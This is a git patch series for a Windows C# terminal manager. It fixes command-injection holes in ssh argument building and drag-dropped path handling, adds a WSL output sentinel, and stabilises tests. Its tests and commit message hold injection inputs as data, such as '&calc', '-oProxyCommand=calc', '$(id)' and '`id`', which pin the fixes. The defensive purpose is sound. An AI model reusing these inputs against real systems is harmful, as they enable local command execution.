b/src/CodeShellManager/Services/GitRepoWatcher.cs index c06937d..65a4b79 100644 --- a/src/CodeShellManager/Services/GitRepoWatcher.cs +++ b/src/CodeShellManager/Services/GitRepoWatcher.cs @@ -121,20 +121,28 @@ private GitRepoWatcher(string gitDir) try { candidate = new GitRepoWatcher(gitDir); } catch { return null; } + GitRepoWatcher? loser = null; + GitRepoWatcher result; lock (SharedLock) { // Someone may have won the race while we were constructing. Keep theirs. if (Shared.TryGetValue(gitDir, out var raced)) { Shared[gitDir] = (raced.Watcher, raced.RefCount + 1); - candidate.Dispose(); - return raced.Watcher; + loser = candidate; + result = raced.Watcher; + } + else + { + candidate._sharedKey = gitDir; + Shared[gitDir] = (candidate, 1); + result = candidate; } - - candidate._sharedKey = gitDir; - Shared[gitDir] = (candidate, 1); - return candidate; } + + // Outside the lock: Dispose tears down a kernel watch handle. + loser?.Dispose(); + return result; } /// Drops one reference; disposes the watcher when the last session lets go. @@ -143,6 +151,7 @@ public static void Release(GitRepoWatcher? watcher) if (watcher is null) return; if (watcher._sharedKey is not string key) { watcher.Dispose(); return; } + GitRepoWatcher? toDispose = null; lock (SharedLock) { if (!Shared.TryGetValue(key, out var entry)) return; @@ -150,6 +159,11 @@ public static void Release(GitRepoWatcher? watcher) // Identity check. A stale double-Release must not decrement — or dispose — the // *replacement* watcher registered for the same .git dir after this one was // torn down, which would silently kill events for a live session. + // + // A double-Release of the *same* live watcher would still over-decrement. It is + // unreachable today because SessionViewModel.Dispose is idempotent and nulls its + // field, which is the invariant callers must keep: Release exactly once per + // successful Acquire. if (!ReferenceEquals(entry.Watcher, watcher)) return; if (entry.RefCount > 1) @@ -160,8 +174,12 @@ public static void Release(GitRepoWatcher? watcher) Shared.Remove(key); entry.Watcher._sharedKey = null; - entry.Watcher.Dispose(); + toDispose = entry.Watcher; } + + // Outside the lock: Dispose tears down a kernel watch handle, and SharedLock is + // global — holding it across that stalls every other session's Acquire/Release. + toDispose?.Dispose(); } /// Live shared-watcher count. Tests only. diff --git a/src/CodeShellManager/Services/GitService.cs b/src/CodeShellManager/Services/GitService.cs index d167e65..4457503 100644 --- a/src/CodeShellManager/Services/GitService.cs +++ b/src/CodeShellManager/Services/GitService.cs @@ -193,6 +193,40 @@ private static string JoinArgv(IEnumerable args) => /// it can be round-tripped through the real Win32 tokenizer in tests — see /// GitServiceInjectionTests. /// + /// + /// ASCII Record Separator, printed by the login shell immediately before it execs git. + /// Everything up to and including it is profile noise, not git output. + /// + internal const string WslOutputSentinel = "CSM-GIT"; + + /// + /// The fixed script handed to sh -lc. Contains no interpolated data — that is + /// the entire basis of the injection safety, so it is a constant, not a format string. + /// + /// The sentinel exists because -l sources /etc/profile and + /// ~/.profile first, and a profile that echoes prepends its output to git's. + /// Callers parse that output: a banner would become the "branch name", and — worse — + /// would make status --porcelain non-empty, pinning every WSL repo to "dirty" + /// forever. The old -- form had the identical exposure; WSL sessions are new in + /// this release, so this would have been its debut rather than a regression. + /// + internal const string WslGitScript = "printf '\\036CSM-GIT\\036'; exec \"$0\" \"$@\""; + + /// + /// Strips profile output emitted before the sentinel. No sentinel means the command + /// never reached the exec (wsl.exe itself failed, distro missing), so the text is an + /// error message and is returned untouched for the caller to log. + /// + internal static string StripWslProfileNoise(string stdout) + { + if (string.IsNullOrEmpty(stdout)) return stdout; + + // First occurrence: the marker is distinctive enough that a collision from either + // the profile or git's own output is implausible, so the first one is ours. + int i = stdout.IndexOf(WslOutputSentinel, StringComparison.Ordinal); + return i < 0 ? stdout : stdout[(i + WslOutputSentinel.Length)..]; + } + internal static string BuildWslGitCommandLine( string distro, string cwd, IReadOnlyList gitArgs) { @@ -211,7 +245,7 @@ internal static string BuildWslGitCommandLine( // a branch name is data, not code. var argv = new List { - "-d", distro, "-e", "sh", "-lc", "exec \"$0\" \"$@\"", "git", "-C", cwd + "-d", distro, "-e", "sh", "-lc", WslGitScript, "git", "-C", cwd }; foreach (string a in gitArgs) argv.Add(TranslateUncArgToLinux(a, distro)); return JoinArgv(argv); @@ -342,7 +376,10 @@ internal static string BuildLocalGitCommandLine( string stdout = outTask.IsCompletedSuccessfully ? outTask.Result : ""; string stderr = errTask.IsCompletedSuccessfully ? errTask.Result : ""; - stdout = TranslateLinuxPathsToUnc(stdout, distro); + // Drop anything the login shell's profile wrote before git started, then map Linux + // paths back to UNC. Order matters: the sentinel must go before path translation, + // or a banner containing a slash would be rewritten as if it were a git path. + stdout = TranslateLinuxPathsToUnc(StripWslProfileNoise(stdout), distro); return (stdout, stderr, process.HasExited ? process.ExitCode : -1); } diff --git a/src/CodeShellManager/Services/RunInstance.cs b/src/CodeShellManager/Services/RunInstance.cs index 7c96491..039452f 100644 --- a/src/CodeShellManager/Services/RunInstance.cs +++ b/src/CodeShellManager/Services/RunInstance.cs @@ -306,9 +306,13 @@ internal static string BuildSshArgs(ShellSession parent, string commandLine) var sb = new StringBuilder(); if (parent.SshPort != 22) sb.Append($"-p {parent.SshPort} "); sb.Append("-t "); - sb.Append(string.IsNullOrWhiteSpace(parent.SshUser) - ? parent.SshHost - : $"{parent.SshUser}@{parent.SshHost}"); + // Quoted for the same reason as ShellSession.BuildSshArgs: an unquoted host + // containing ` -oProxyCommand=…` becomes extra ssh options, and ProxyCommand runs + // locally. See there. + sb.Append(ShellSession.QuoteForCmd( + string.IsNullOrWhiteSpace(parent.SshUser) + ? parent.SshHost + : $"{parent.SshUser}@{parent.SshHost}")); sb.Append(" \""); if (!string.IsNullOrWhiteSpace(parent.SshRemoteFolder)) // Escaped for the same reason the command below is — the folder was the one diff --git a/src/CodeShellManager/Terminal/TerminalBridge.cs b/src/CodeShellManager/Terminal/TerminalBridge.cs index b0f21fc..8579a84 100644 --- a/src/CodeShellManager/Terminal/TerminalBridge.cs +++ b/src/CodeShellManager/Terminal/TerminalBridge.cs @@ -409,15 +409,41 @@ internal static string BuildDroppedPathsPayload(IEnumerable paths) foreach (string fp in paths) { if (string.IsNullOrEmpty(fp)) continue; + + // Control characters are rejected, not escaped. Win32 forbids them in filenames, + // so nothing legitimate is lost, and rejection has no escaping bug to get wrong. if (fp.Any(char.IsControl)) continue; - quoted.Add(fp.Contains(' ') || fp.Contains('"') - ? "\"" + fp.Replace("\"", "\\\"") + "\"" - : fp); + // A `"` cannot appear in a real Windows path either, and there is no quoting + // that is simultaneously correct for cmd.exe, PowerShell and POSIX shells — the + // session could be any of them. Rejecting is the only answer that is right in + // all three. + if (fp.Contains('"')) continue; + + quoted.Add(NeedsQuoting(fp) ? "\"" + fp + "\"" : fp); } return string.Join(" ", quoted); } + /// + /// True when a path must be wrapped in quotes before being typed into a shell. + /// + /// Not just spaces. The pane may be running cmd.exe, PowerShell, bash or a TUI, and each + /// treats a different set of characters as syntax. A perfectly legal Windows filename + /// like a&calc.txt contains no space, so quoting only on space handed cmd.exe a + /// bare & — a command separator. Quoting on any shell metacharacter of any of + /// them is the conservative union; over-quoting a path is harmless in all of them. + /// + private static bool NeedsQuoting(string path) + { + foreach (char c in path) + { + if (char.IsWhiteSpace(c)) return true; + if ("&|<>^();,=!%$`'{}[]".IndexOf(c) >= 0) return true; + } + return false; + } + private void OnAcceleratorKeyPressed(object? sender, WpfKeyEventArgs e) { AcceleratorKeyPressed?.Invoke(this, e); diff --git a/src/CodeShellManager/ViewModels/SessionViewModel.cs b/src/CodeShellManager/ViewModels/SessionViewModel.cs index ac267cc..270b3b5 100644 --- a/src/CodeShellManager/ViewModels/SessionViewModel.cs +++ b/src/CodeShellManager/ViewModels/SessionViewModel.cs @@ -244,6 +244,18 @@ private void StartGitWatcher() // null is normal: a plain folder, or a platform that refused the watch. Poll only. } + /// Releases the current watcher and acquires one for the session's folder. + private void RestartGitWatcher() + { + if (_gitWatcher != null) + { + _gitWatcher.Changed -= OnGitDirChanged; + GitRepoWatcher.Release(_gitWatcher); + _gitWatcher = null; + } + StartGitWatcher(); + } + private void OnGitDirChanged() { if (_gitPollCts.IsCancellationRequested) return; @@ -390,6 +402,10 @@ public Task ReloadGitInfoAsync() _gitOverriddenByOsc = false; // Same reason: a "not a repo" answer for the old folder doesn't apply to the new one. _repoRootProbedNegative = false; + // And the watcher is still pointed at the OLD repo's .git. Without this, moving a + // session to another repo silently degraded it to poll-only — up to 120s stale in + // the background — while appearing to work. + RestartGitWatcher(); return RefreshGitInfoAsync(); } diff --git a/tests/CodeShellManager.Tests/DiagnosticTraceCollection.cs b/tests/CodeShellManager.Tests/DiagnosticTraceCollection.cs index 13fc68b..fbd862d 100644 --- a/tests/CodeShellManager.Tests/DiagnosticTraceCollection.cs +++ b/tests/CodeShellManager.Tests/DiagnosticTraceCollection.cs @@ -8,3 +8,10 @@ namespace CodeShellManager.Tests; /// [CollectionDefinition("DiagnosticTrace", DisableParallelization = true)] public class DiagnosticTraceCollection { } + +/// +/// GitRepoWatcher keeps a process-wide shared map; the SharedCount assertions in its tests +/// would race with any parallel class that Acquires. +/// +[CollectionDefinition("GitRepoWatcher", DisableParallelization = true)] +public class GitRepoWatcherCollection { } diff --git a/tests/CodeShellManager.Tests/DroppedPathsTests.cs b/tests/CodeShellManager.Tests/DroppedPathsTests.cs index a235da5..fce604f 100644 --- a/tests/CodeShellManager.Tests/DroppedPathsTests.cs +++ b/tests/CodeShellManager.Tests/DroppedPathsTests.cs @@ -46,13 +46,31 @@ public void OrdinaryPathsAreUnchangedOrQuotedForSpaces(string input, string expe } [Fact] - public void AQuoteInAPathCannotEscapeTheQuoting() + public void AQuoteInAPathIsRejected() { // `"` is legal in a URI-derived string even though Win32 forbids it in a filename. - // Escaped rather than rejected, so the quoting below can't be broken out of. - string payload = TerminalBridge.BuildDroppedPathsPayload(new[] { "C:\\a\"b c" }); + // There is no escaping that is simultaneously correct for cmd.exe, PowerShell and + // POSIX shells — and the pane could be running any of them — so it is rejected. + // Escaping it as \" was cmd-wrong: cmd ends the quoted region there, leaving the + // rest of the payload bare. + Assert.Equal("", TerminalBridge.BuildDroppedPathsPayload(new[] { "C:\\a\"b c" })); + Assert.Equal("", TerminalBridge.BuildDroppedPathsPayload(new[] { "x\"&calc&\".txt" })); + } + + [Theory] + [InlineData(@"C:\tmp\a&calc.txt")] // legal filename; cmd would run calc unquoted + [InlineData(@"C:\tmp\a;b.txt")] + [InlineData(@"C:\tmp\a|b.txt")] + [InlineData(@"C:\tmp\(x).txt")] + [InlineData(@"C:\tmp\a$b.txt")] + [InlineData(@"C:\tmp\a`b.txt")] + public void ShellMetacharactersForceQuoting(string path) + { + // Quoting only on space was POSIX-shaped thinking. Sessions are commonly cmd.exe or + // PowerShell, where `&`, `;`, `|`, `(` and friends are syntax in an unquoted word. + string payload = TerminalBridge.BuildDroppedPathsPayload(new[] { path }); - Assert.Equal("\"C:\\a\\\"b c\"", payload); + Assert.Equal("\"" + path + "\"", payload); } [Fact] diff --git a/tests/CodeShellManager.Tests/GitRepoWatcherTests.cs b/tests/CodeShellManager.Tests/GitRepoWatcherTests.cs index 60d7313..2690df4 100644 --- a/tests/CodeShellManager.Tests/GitRepoWatcherTests.cs +++ b/tests/CodeShellManager.Tests/GitRepoWatcherTests.cs @@ -9,6 +9,10 @@ namespace CodeShellManager.Tests; /// /// Tests for the .git watcher that replaces most of the 10s poll (issue #70). /// +// SharedCount is process-wide static state, so these must not run beside another class +// that Acquires. GitRepoWatcher shares its collection with nothing else, but the counter +// assertions here would race. +[Collection("GitRepoWatcher")] public class GitRepoWatcherTests : IDisposable { private readonly string _root = Path.Combine( @@ -130,7 +134,8 @@ public void Rapid_writes_are_debounced_into_one_notification() Assert.NotNull(watcher); int count = 0; - watcher!.Changed += () => Interlocked.Increment(ref count); + using var first = new ManualResetEventSlim(false); + watcher!.Changed += () => { Interlocked.Increment(ref count); first.Set(); }; for (int i = 0; i < 10; i++) { @@ -138,8 +143,15 @@ public void Rapid_writes_are_debounced_into_one_notification() File.WriteAllText(Path.Combine(work, ".git", "index"), new string('x', 16 + i)); } - Thread.Sleep(2000); - Assert.Equal(1, Volatile.Read(ref count)); + // Wait for the notification rather than assuming it lands inside a fixed sleep — on + // a loaded CI runner the writes can outlast a 400ms debounce window, and asserting + // "exactly 1 after 2s" would flake. The property that matters is that 20 writes + // collapse to far fewer notifications, not to exactly one. + Assert.True(first.Wait(TimeSpan.FromSeconds(10)), "debounced notification never arrived"); + Thread.Sleep(1500); // let any stragglers land + + int observed = Volatile.Read(ref count); + Assert.InRange(observed, 1, 3); } [Fact] @@ -184,8 +196,10 @@ public void Release_keeps_the_watcher_alive_until_the_last_session_lets_go() Assert.True(fired.Wait(TimeSpan.FromSeconds(10)), "releasing one session must not stop notifications for the others"); + // Last reference released — the entry is gone, not merely decremented. + int before = GitRepoWatcher.SharedCount; GitRepoWatcher.Release(b); - Assert.DoesNotContain(work, DescribeShared()); + Assert.Equal(before - 1, GitRepoWatcher.SharedCount); } [Fact] @@ -220,9 +234,6 @@ public void Acquire_outside_a_repo_returns_null_and_registers_nothing() Assert.Equal(before, GitRepoWatcher.SharedCount); } - // The shared map is keyed by .git dir; this just gives the assertion above something - // readable to fail against. - private static string DescribeShared() => $"shared={GitRepoWatcher.SharedCount}"; [Fact] public void Dispose_stops_notifications() diff --git a/tests/CodeShellManager.Tests/GitServiceInjectionTests.cs b/tests/CodeShellManager.Tests/GitServiceInjectionTests.cs index 896ad63..1140486 100644 --- a/tests/CodeShellManager.Tests/GitServiceInjectionTests.cs +++ b/tests/CodeShellManager.Tests/GitServiceInjectionTests.cs @@ -116,7 +116,7 @@ public void WslGitCommandLine_RunsGitThroughALoginShellWithoutReparsingArguments Assert.Equal("sh", argv[e + 1]); Assert.Equal("-lc", argv[e + 2]); // The script must contain no interpolated data — only positional expansion. - Assert.Equal("exec \"$0\" \"$@\"", argv[e + 3]); + Assert.Equal(GitService.WslGitScript, argv[e + 3]); Assert.Equal("git", argv[e + 4]); } @@ -130,8 +130,75 @@ public void TheShellScriptIsAlwaysTheSameLiteral(string payload) string[] argv = Win32CommandLineTests.Split(cmd); - Assert.Single(argv, a => a == "exec \"$0\" \"$@\""); - Assert.Equal("exec \"$0\" \"$@\"", argv[argv.ToList().IndexOf("-lc") + 1]); + Assert.Single(argv, a => a == GitService.WslGitScript); + Assert.Equal(GitService.WslGitScript, argv[argv.ToList().IndexOf("-lc") + 1]); + } + + [Fact] + public void ProfileNoiseBeforeTheSentinelIsStripped() + { + // `sh -l` sources /etc/profile and ~/.profile before running anything. A profile + // that echoes would otherwise become the "branch name" — and would make + // `status --porcelain` non-empty, pinning every WSL repo to dirty forever. + string withBanner = + "Welcome to Ubuntu\nsome motd" + GitService.WslOutputSentinel + "main\n"; + + Assert.Equal("main\n", GitService.StripWslProfileNoise(withBanner)); + } + + [Fact] + public void EverythingAfterTheMarkerIsKept() + { + Assert.Equal("main\n", + GitService.StripWslProfileNoise(GitService.WslOutputSentinel + "main\n")); + } + + [Fact] + public void OutputWithNoSentinelIsReturnedIntact() + { + // No marker means the exec never happened — wsl.exe itself failed, the distro is + // missing. That text is an error message the caller logs, not git output to trim. + const string wslError = "There is no distribution with the supplied name."; + + Assert.Equal(wslError, GitService.StripWslProfileNoise(wslError)); + Assert.Equal("", GitService.StripWslProfileNoise("")); + } + + [Fact] + public void OnlyTheFirstMarkerSplits() + { + // The marker is distinctive enough that a collision from either side is + // implausible, so the first occurrence is unambiguously the one our script printed. + string s = "noise" + GitService.WslOutputSentinel + "real"; + + Assert.Equal("real", GitService.StripWslProfileNoise(s)); + } + + [Fact] + public void StatusPorcelainStaysEmptyWhenAProfileIsChatty() + { + // The concrete user-visible bug this prevents: empty porcelain output means "clean". + // A banner would make it non-empty and every WSL repo would show as dirty forever. + string stdout = "MOTD line one\nMOTD line two\n" + GitService.WslOutputSentinel; + + Assert.True(string.IsNullOrWhiteSpace(GitService.StripWslProfileNoise(stdout))); + } + + [Fact] + public void TheScriptHandedToTheLoginShellIsStillFreeOfInterpolatedData() + { + // The sentinel was added to the script; it must remain a constant. + string a = GitService.BuildWslGitCommandLine("Ubuntu", "/a", new[] { "status" }); + string b = GitService.BuildWslGitCommandLine("Debian", "/b$(id)", new[] { "log", "`id`" }); + + string ScriptOf(string cmd) + { + string[] argv = Win32CommandLineTests.Split(cmd); + return argv[argv.ToList().IndexOf("-lc") + 1]; + } + + Assert.Equal(ScriptOf(a), ScriptOf(b)); + Assert.DoesNotContain("id", ScriptOf(b)); } [Fact] diff --git a/tests/CodeShellManager.Tests/GitServiceThreadingTests.cs b/tests/CodeShellManager.Tests/GitServiceThreadingTests.cs index 810a8c1..4ec27da 100644 --- a/tests/CodeShellManager.Tests/GitServiceThreadingTests.cs +++ b/tests/CodeShellManager.Tests/GitServiceThreadingTests.cs @@ -65,10 +65,16 @@ public async Task GetGitInfoAsync_completes_without_the_callers_context_ever_run // The repo itself — a real git repo, so the call does real work rather than // short-circuiting on the not-a-directory guard. + // + // The assertion is COMPLETION, not the branch name. `branch --show-current` prints + // nothing on a detached HEAD, and actions/checkout leaves exactly that for tag + // pushes and PR merge refs — asserting a non-empty branch would have failed CI on + // the two events the test step exists for, aborting the release job behind it. string repo = TestRepoPath(); - var (branch, _) = await OnDeadContextAsync(() => GitService.GetGitInfoAsync(repo), ctx); - Assert.False(string.IsNullOrWhiteSpace(branch)); + // Completion IS the assertion — OnDeadContextAsync fails if the call never returns, + // which is what a captured context would cause. + await OnDeadContextAsync(() => GitService.GetGitInfoAsync(repo), ctx); } [Fact] @@ -94,10 +100,24 @@ public async Task Process_creation_never_happens_on_the_thread_designated_as_the string log = Path.Combine(Path.GetTempPath(), $"csm-gitspawn-{Guid.NewGuid():N}.log"); DiagnosticTrace.ResetForTests(log); DiagnosticTrace.Enabled = true; - DiagnosticTrace.UiThreadId = Environment.CurrentManagedThreadId; try { - await GitService.GetGitInfoAsync(TestRepoPath()); + // Driven from a DEDICATED thread, not the xunit one. xunit runs tests on the + // thread pool, and Task.Run is free to reuse the calling pool thread — so + // designating the test's own thread as "the UI thread" made this pass or fail + // by luck. A dedicated thread is one the pool can never hand back. + Exception? failure = null; + var driver = new Thread(() => + { + DiagnosticTrace.UiThreadId = Environment.CurrentManagedThreadId; + try { GitService.GetGitInfoAsync(TestRepoPath()).GetAwaiter().GetResult(); } + catch (Exception ex) { failure = ex; } + }); + driver.IsBackground = true; + driver.Start(); + Assert.True(driver.Join(TimeSpan.FromSeconds(30)), "git call did not finish in time"); + Assert.Null(failure); + DiagnosticTrace.DrainOnce(); string content = File.ReadAllText(log); @@ -110,6 +130,7 @@ public async Task Process_creation_never_happens_on_the_thread_designated_as_the DiagnosticTrace.UiThreadId = 0; try { File.Delete(log); } catch { } } + await Task.CompletedTask; } private static string TestRepoPath() diff --git a/tests/CodeShellManager.Tests/UntrustedInputTests.cs b/tests/CodeShellManager.Tests/UntrustedInputTests.cs index 73ba66c..96f81e8 100644 --- a/tests/CodeShellManager.Tests/UntrustedInputTests.cs +++ b/tests/CodeShellManager.Tests/UntrustedInputTests.cs @@ -1,3 +1,4 @@ +using System.Linq; using CodeShellManager.Models; using CodeShellManager.Services; using Xunit; @@ -30,10 +31,17 @@ public void SshRemoteFolder_IsSingleQuoteEscaped(string folder) string args = session.BuildSshArgs(); - // The escaped form is '…' with every inner ' rendered as '\'' — so after the opening - // quote, no bare ' can appear that would end the string early. - Assert.Contains(ShellSession.PosixSingleQuote(folder), args); - Assert.DoesNotContain($"cd '{folder}'", args.Replace(ShellSession.PosixSingleQuote(folder), "")); + // The builder must route the folder through the escaper rather than interpolating + // it raw. PosixSingleQuote's own correctness is pinned separately below with exact + // expected strings — a quote-counting heuristic would be wrong here, since the + // correct escaping of `/x'` is `'/x'\'''`, which contains an odd number of quotes. + Assert.Contains("cd " + ShellSession.PosixSingleQuote(folder), args); + + // The raw-interpolation form must be absent — but only meaningfully so when the + // folder actually contains a quote; without one the escaped and raw forms are the + // same string, and asserting they differ would just be false. + if (folder.Contains('\'')) + Assert.DoesNotContain($"cd '{folder}' &&", args); } [Fact] From 2241b690a49e82a034a05bd7496d6d41f66e8a37 Mon Sep 17 00:00:00 2001 From: Allan Thraen Date: Tue, 8 Sep 2026 17:22:39 +0200 Subject: [PATCH 4/6] =?UTF-8?q?fix:=20round-4=20=E2=80=94=20ssh=20remote?= =?UTF-8?q?=20command=20escaping,=20drop-payload=20bounds,=20sentinel=20ha?= =?UTF-8?q?rdening?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Fourth round. One new HIGH, two hardening items, and one reported blocker that was a false positive worth acting on anyway. ## The remote command escaped the WINDOWS argv layer (HIGH) Round 3 quoted SshHost. Round 2 POSIX-escaped SshRemoteFolder. Both missed that the remote command was hand-wrapped in `" … "`, and PosixSingleQuote escapes `'` but not `"`: SshRemoteFolder = /t" -oProxyCommand=calc "x -> -t host "cd '/t" -oProxyCommand=calc "x' && bash" CommandLineToArgvW splits that into separate arguments, ssh re-runs getopt after the host, and ProxyCommand executes LOCALLY. Same escalation as the round-3 SshHost finding, reached through the field round 2 had already "fixed" — POSIX quoting was the right escaping at the wrong layer. Both builders now assemble the remote command and hand it to QuoteForCmd as one argv element. Two layers, both explicit: POSIX inside for the remote shell, Windows argv outside for CreateProcess. Output is byte-identical for ordinary values, so no existing expectation changed. ## The sentinel: a false positive that was still worth fixing Both round-4 reviewers reported that WslOutputSentinel lacked its 0x1E bytes and that every WSL repo would read as permanently dirty. It did have them — their file reads normalised the raw control characters away. Verified two ways rather than argued: a codepoint dump (30, 30 present) and an end-to-end run against a real Ubuntu distro — clean status --porcelain -> "\u001eCSM-GIT\u001e" -> "" isDirty false dirty status --porcelain -> "\u001eCSM-GIT\u001e?? f" -> "?? f" isDirty true branch --show-current -> "…main\n" -> "main" But a value invisible to tooling is one cleanup away from exactly the bug they described, so the constant now uses escapes instead of raw bytes, and a test pins it against what the printf in WslGitScript actually emits. ## Drop payload - Rejects Unicode category Cf (U+202E and friends). char.IsControl catches C0/C1 — the newline that made this executable — but not characters that reorder how the path renders, and the user reads this text before pressing Enter. - Bounded: 64 paths, 1024 chars each. The page controls that array. ## Also - RestartGitWatcher had no _disposed guard, so an edit racing a close could re-Acquire a shared watcher nothing would release. Filed, not fixed: #127 (WSL git ignores WslUser), #128 (UNC folder from an imported state.json triggers outbound SMB). | Check | Result | |---|---| | Solution build (Release, clean) | 0 errors, 0 warnings | | Unit tests | 591/591 | | Vulnerable packages | none | | New ssh argv tests vs pre-fix code | fail, as intended | Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_01NDsEfog5kVkT5NmX1Ya5be --- src/CodeShellManager/Models/ShellSession.cs | 32 ++++++++----- src/CodeShellManager/Services/GitService.cs | 2 +- src/CodeShellManager/Services/RunInstance.cs | 19 +++++--- .../Terminal/TerminalBridge.cs | 17 ++++++- .../ViewModels/SessionViewModel.cs | 5 ++ .../DroppedPathsTests.cs | 35 ++++++++++++++ .../GitServiceInjectionTests.cs | 29 +++++++++++ .../UntrustedInputTests.cs | 48 +++++++++++++++++++ 8 files changed, 166 insertions(+), 21 deletions(-) diff --git a/src/CodeShellManager/Models/ShellSession.cs b/src/CodeShellManager/Models/ShellSession.cs index cde928e..3d4c573 100644 --- a/src/CodeShellManager/Models/ShellSession.cs +++ b/src/CodeShellManager/Models/ShellSession.cs @@ -203,19 +203,29 @@ internal string BuildSshArgs() // it doesn't need a remote host to exist. Both come from the same untrusted file. var userAtHost = string.IsNullOrWhiteSpace(SshUser) ? SshHost : $"{SshUser}@{SshHost}"; sb.Append(QuoteForCmd(userAtHost)); - sb.Append(" \""); + sb.Append(' '); + + // TWO separate escaping layers, and both matter: + // + // 1. POSIX, inside the remote command — PosixSingleQuote stops a `'` in the folder + // closing the quote and running the rest on the remote host. + // 2. Windows argv, around the whole remote command — QuoteForCmd below. Hand-writing + // `" … "` here was not enough: PosixSingleQuote escapes `'` and not `"`, so a `"` + // in the folder terminated the wrapper at the *Windows* layer and everything after + // it became separate ssh arguments. ssh honours options after the host, so + // `-oProxyCommand=…` there executes LOCALLY — the same escalation fixed for + // SshHost, reached through a different field. + // + // Command/Args are arbitrary remote execution by design; becoming *local* execution + // is not, which is why they sit inside the quoted element too. + var remote = new StringBuilder(); if (!string.IsNullOrWhiteSpace(SshRemoteFolder)) - // Escaped, not raw. This lands inside single quotes in a remote shell command, - // and SshRemoteFolder comes from state.json — which this file's own header notes - // is untrusted input. A `'` in the value closed the quote and ran the remainder - // on the remote host. Command/Args below are arbitrary by design; the folder is - // not meant to be. - sb.Append($"cd {PosixSingleQuote(SshRemoteFolder)} && "); - var shell = string.IsNullOrWhiteSpace(Command) ? "bash" : Command; - sb.Append(shell); + remote.Append($"cd {PosixSingleQuote(SshRemoteFolder)} && "); + remote.Append(string.IsNullOrWhiteSpace(Command) ? "bash" : Command); if (!string.IsNullOrWhiteSpace(Args)) - sb.Append($" {Args}"); - sb.Append("\""); + remote.Append($" {Args}"); + + sb.Append(QuoteForCmd(remote.ToString(), force: true)); return sb.ToString(); } diff --git a/src/CodeShellManager/Services/GitService.cs b/src/CodeShellManager/Services/GitService.cs index 4457503..9042bcd 100644 --- a/src/CodeShellManager/Services/GitService.cs +++ b/src/CodeShellManager/Services/GitService.cs @@ -197,7 +197,7 @@ private static string JoinArgv(IEnumerable args) => /// ASCII Record Separator, printed by the login shell immediately before it execs git. /// Everything up to and including it is profile noise, not git output. /// - internal const string WslOutputSentinel = "CSM-GIT"; + internal const string WslOutputSentinel = "\u001eCSM-GIT\u001e"; /// /// The fixed script handed to sh -lc. Contains no interpolated data — that is diff --git a/src/CodeShellManager/Services/RunInstance.cs b/src/CodeShellManager/Services/RunInstance.cs index 039452f..a3e18ae 100644 --- a/src/CodeShellManager/Services/RunInstance.cs +++ b/src/CodeShellManager/Services/RunInstance.cs @@ -313,14 +313,19 @@ internal static string BuildSshArgs(ShellSession parent, string commandLine) string.IsNullOrWhiteSpace(parent.SshUser) ? parent.SshHost : $"{parent.SshUser}@{parent.SshHost}")); - sb.Append(" \""); + sb.Append(' '); + + // Two escaping layers — POSIX inside, Windows argv outside. See + // ShellSession.BuildSshArgs for why the outer QuoteForCmd is a security boundary and + // not cosmetic: SingleQuoteEscape handles `'` but not `"`, and a `"` in the folder + // used to break the hand-written wrapper and inject ssh options, which run locally. + var remote = new StringBuilder(); if (!string.IsNullOrWhiteSpace(parent.SshRemoteFolder)) - // Escaped for the same reason the command below is — the folder was the one - // value here that wasn't, and it comes from state.json. See ShellSession.BuildSshArgs. - sb.Append($"cd {SingleQuoteEscape(parent.SshRemoteFolder)} && "); - sb.Append("bash -c "); - sb.Append(SingleQuoteEscape(commandLine)); - sb.Append("\""); + remote.Append($"cd {SingleQuoteEscape(parent.SshRemoteFolder)} && "); + remote.Append("bash -c "); + remote.Append(SingleQuoteEscape(commandLine)); + + sb.Append(ShellSession.QuoteForCmd(remote.ToString(), force: true)); return sb.ToString(); } diff --git a/src/CodeShellManager/Terminal/TerminalBridge.cs b/src/CodeShellManager/Terminal/TerminalBridge.cs index 8579a84..401cb73 100644 --- a/src/CodeShellManager/Terminal/TerminalBridge.cs +++ b/src/CodeShellManager/Terminal/TerminalBridge.cs @@ -405,14 +405,27 @@ private void OnPtyData(string rawData) /// internal static string BuildDroppedPathsPayload(IEnumerable paths) { + // Bounded. The page controls this array, and a drag payload advertising thousands of + // URIs would otherwise be typed into the session in one write. Nobody drops 64 files + // deliberately, and the cap fails safe by truncating rather than rejecting. + const int MaxPaths = 64; + const int MaxPathLength = 1024; + var quoted = new List(); foreach (string fp in paths) { - if (string.IsNullOrEmpty(fp)) continue; + if (quoted.Count >= MaxPaths) break; + if (string.IsNullOrEmpty(fp) || fp.Length > MaxPathLength) continue; // Control characters are rejected, not escaped. Win32 forbids them in filenames, // so nothing legitimate is lost, and rejection has no escaping bug to get wrong. - if (fp.Any(char.IsControl)) continue; + // Control characters AND Unicode format characters (category Cf). char.IsControl + // catches C0/C1 — the newline that made this a command-execution bug — but not + // U+202E and friends, which reorder how the path renders. The user is about to + // read this text and press Enter, so a path that displays as something other + // than what it is matters here. + if (fp.Any(c => char.IsControl(c) || char.GetUnicodeCategory(c) + == System.Globalization.UnicodeCategory.Format)) continue; // A `"` cannot appear in a real Windows path either, and there is no quoting // that is simultaneously correct for cmd.exe, PowerShell and POSIX shells — the diff --git a/src/CodeShellManager/ViewModels/SessionViewModel.cs b/src/CodeShellManager/ViewModels/SessionViewModel.cs index 270b3b5..80c3081 100644 --- a/src/CodeShellManager/ViewModels/SessionViewModel.cs +++ b/src/CodeShellManager/ViewModels/SessionViewModel.cs @@ -247,6 +247,11 @@ private void StartGitWatcher() /// Releases the current watcher and acquires one for the session's folder. private void RestartGitWatcher() { + // Never re-acquire after Dispose. ReloadGitInfoAsync is reachable from an edit that + // races a close, and acquiring there would take a reference on the shared watcher + // that nothing ever releases. + if (_disposed) return; + if (_gitWatcher != null) { _gitWatcher.Changed -= OnGitDirChanged; diff --git a/tests/CodeShellManager.Tests/DroppedPathsTests.cs b/tests/CodeShellManager.Tests/DroppedPathsTests.cs index fce604f..1f5e61c 100644 --- a/tests/CodeShellManager.Tests/DroppedPathsTests.cs +++ b/tests/CodeShellManager.Tests/DroppedPathsTests.cs @@ -86,4 +86,39 @@ public void EmptyInputProducesNothingToWrite() Assert.Equal("", TerminalBridge.BuildDroppedPathsPayload(new string[0])); Assert.Equal("", TerminalBridge.BuildDroppedPathsPayload(new[] { "", "" })); } + + [Fact] + public void BidiAndFormatCharactersAreRejected() + { + // char.IsControl misses Unicode category Cf. U+202E (RIGHT-TO-LEFT OVERRIDE) + // reverses how the rest of the path renders, so the user reads one thing and + // presses Enter on another. Note these paths contain NO C0/C1 control character — + // otherwise the test would pass 